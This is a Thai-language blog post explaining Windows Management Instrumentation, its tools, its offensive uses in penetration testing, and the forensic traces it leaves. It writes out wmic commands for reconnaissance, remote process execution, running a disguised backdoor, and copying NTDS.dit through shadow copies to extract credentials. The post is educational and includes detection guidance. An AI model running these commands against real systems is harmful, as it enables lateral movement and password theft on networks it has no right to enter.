โพสต์นี้จริงๆแล้วสร้างขึ้นมาจากการแพร่กระจายของ Petya ทำให้อยากกลับไปทบทวนการใช้งาน WMI (ซึ่งไม่ได้ใช้บ่อยนัก) ผมเลยไปไล่อ่านในบทความต่างๆว่า WMI นั้นมันคืออะไรแล้วสามารถทำอะไรได้บ้างครับ
WMI (WINDOWS MANAGEMENT INSTRUMENTATION) คือ framework ที่ใช้ในการจัดการ windows การสั่งงานจะเป็นการสั่งแบบใช้งาน query เราสามารถสั่งงานเครื่องให้กระทำการใดๆได้โดยใช้ WMI ซึ่งตัว WMI เองมีมาตั้งแต่ Windows 95 นู่นครับ โดยการสั่งการดังกล่าวจะกระทำผ่าน resource ซึ่งเราสามารถหาได้ว่า resource ตัวใดคืออะไรและใช้ทำอะไรได้โดยดูจาก objects.data ซึ่งจะเป็นส่วนที่นำไฟล์ managed object format (MOF) มารวมไว้ โดยเราสามารถสร้างไฟล์ MOF ขึ้นมาได้เองโดยใช้คำสั่ง mofcomp.exe ตัวอย่างไฟล์ MOF
จากนั้น compile โดยใช้คำสั่ง
1 |
mofcomp.exe new.mof |
ซึ่งจริงๆแล้วตั้งแต่ Vista version ขึ้นมา เมื่อนำไฟล์ mof ไปไว้ที่ “%SYSTEMROOT%\wbem\mof\” ไฟล์นั้นจะถูก compile แล้ว imported เข้า objects.data ตอน startup แทน โดยไฟล์ mof ไฟล์ใหม่จะถูกเก็บไว้ใน “C:\Windows\System32\wbem\Repository\fs\objects.data”
WMI ปรากฏอยู่ใน Microsoft OS ตั้งแต่ปี 2000 เป็นต้นมา สามารถใช้งานได้หลากหลายมาก แต่หลักสำคัญคือต้องใช้สิทธิ์ admin ในการสั่งงาน โดยเราสามารถสั่งงาน WMI ได้ผ่าน
1 |
wmic.exe |
ซึ่งการสั่งงาน wmic.exe นั้นสามารถทำงานในลักษณะ remote execute ได้อีกด้วย โดยตัวอย่าง syntax ของ wmic คือ
1 2 3 |
wmic.exe /node:[SYSTEM] /user:[USERNAME] /password:[PASSWORD] [QUERY] เช่น wmic.exe /node:192.168.1.1 /user:n00b /password:p@ssw0rd process get name,processid |
Function การสั่งงานต่างๆของ objects.data จะถูกเรียกใช้งานผ่าน namespace ต่างๆ โดย default namespace (library of object classes) จะถูกเรียกว่า “Root\\CIMv2” ซึ่งภายใน CIMv2 นั้นจะประกอบไปด้วย
– Hardware
– Installed applications
– Operating System functions
– Performance and monitoring
– WMI management
การใช้งาน WMI สามารถใช้ผ่านได้หลายทาง
– WMIC – native Windows command line interface to WMI
– WinRM – Windows Remote Management command line interface (จริงๆแล้วเราใช้ wmic ในการ remote ได้เหมือนกัน)
1 |
winrm get wmicimv2/Win32_Service?Name=spooler –r:<remote system> |
– WMI-Shell – Linux WMI client (bridges *NIX to Windows)
– Impacket – Python classes for WMI
– Open Asset Logger – WMI client ใช้ในการตรวจสอบ systems ใน local network และ uses predefined ใน WMI queries
– PowerShell – Windows scripting framework
WMI ที่ใช้ในการโจมตี
เราสามารถใช้คำสั่ง wmic ในแต่ละ phase ในการโจมตีหรือทดสอบเจาะระบบ (Penetration Testing) ได้ เช่น
– Reconnaissance (การเก็บข้อมูล)
– List patches ที่ถูกใช้ไปแล้วในเครื่องนั้นๆ
1 |
wmic qfe get description,installedOn /format:csv |
– List information ของ running processes
1 |
wmic process get caption,executablepath,commandline |
– List user accounts
1 |
wmic useraccount get /ALL |
– ตรวจสอบว่าเครื่องปลายทางเป็น SQL server อะไร
1 |
wmic /node:”192.168.0.1” service where (caption like “%sql server (%”) |
– List network shares บนเครื่อง remote system โดยใช้ผ่าน powershell
1 |
get-wmiobject –class "win32_share" –namespace "root\CIMV2" –computer "targetname" |
– Lateral movement (การกระทำเข้าไปภายในเพิ่มเติม)
– รันคำสั่งที่เครื่องปลายทาง
1 |
wmic /node:REMOTECOMPUTERNAME process call create "COMMAND AND ARGUMENTS" |
– Privilege escalation (เพิ่มสิทธิ์ของ user)
– Schedule Tasks (รัน backdoor โดยโจมตีช่องโหว่ Unquoted Service Paths
1 |
wmic /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt" |
– Volume Shadow Copy (Copy NTDS.dit ที่เก็บ database username, password ไว้, อย่าลืม Copy SYSTEM file และ SAM File)
1 |
wmic /node:REMOTECOMPUTERNAME PROCESS call create “cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit“ |
ส่วนตกค้างจากการใช้งาน WMI
หลังจากมีการใช้งาน WMI มีความเป็นไปได้ที่จะมีสิ่งที่ตกค้างในเครื่องทำให้ฝั่ง Blue Team หรือ Forensic ในการเข้าตรวจสอบได้ครับ
– In-memory
wmiprvse.exe – WMI provider process
svchost.exe – the specific process associated with the WinMgMt service
csrss.exe or conhost.exe – command line subsystem and console host processes, XP/2003 or Vista and later
– File system
ส่วนไฟล์ system นั้นมีความเป็นไปได้ที่เราจะไปดู MOF ที่ถูกสร้างขึ้นมา รวมถึงไฟล์ที่มีการใส่ autorecovery feature ไว้ ซึ่งปกติไฟล์ MOF ที่ใส่ autorecovery ไว้จะโผล่ที่ C:\Windows\System32\wbem\autorecovery\[RAND].mof
– Prefetch
ในส่วน prefetch คือไฟล์ที่ถูกสร้างขึ้นมาเก็บข้อมูลบางส่วนของ Application เพื่อทำให้สามารถนำกลับมาใช้งานได้เร็วขึ้น Registry โดยเราอาจจะดูจากไฟล์ดังต่อไปนี้
1 2 3 4 5 6 7 |
- Windows Scripting Host (WSH) - C:\Windows\Prefetch\CSCRIPT.EXE-E4C98DEB.pf - C:\Windows\Prefetch\WSCRIPT.EXE-65A9658F.pf - WMI Standard Event Consumer - C:\Windows\Prefetch\SCRCONS.EXE-D45CB92D.pf - MOF compiler - C:\Windows\Prefetch\MOFCOMP.EXE-CDA1E783.pf |
โดยปกติแล้ว WMI นั้นไม่มีการเก็บ log ไว้ เราสามารถ enable ขึ้นมาได้โดยใช้คำสั่งเป็น
1 |
wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true |
– wbemcore.log – Logon activity และการ authentication ต่างๆ
– mofcomp.log – event การ compile MOF file
– wbemprox.log – Login failures จากการใช้ credentials, service availability, หรือ permissions issues
(EventCode 63)
หากใครต้องการรายละเอียดแบบลึกของ WMI สามารถดูได้จาก link นี้ครับ
Source::
- HelpDeskGeek.com
- FireEye
- FireEye2
- FireEye3
- SANS
- https://www.slideshare.net/AlexanderLeary/building-better-backdoors-with-wmi-derbycon-2017